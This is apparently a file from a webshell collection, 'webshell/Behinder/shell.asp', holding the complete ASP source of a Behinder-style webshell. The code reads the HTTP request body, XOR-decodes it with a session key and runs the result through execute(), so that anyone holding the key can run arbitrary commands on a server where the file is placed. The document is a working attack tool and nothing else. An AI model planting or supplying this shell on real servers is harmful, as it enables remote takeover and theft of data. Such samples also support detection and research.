webshell/Behinder/shell.asp
2020-08-18 21:11:13 +08:00

11 lines
232 B
Text

<%
Response.CharSet = "UTF-8"
Session("k")=k
k=Session("k")
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>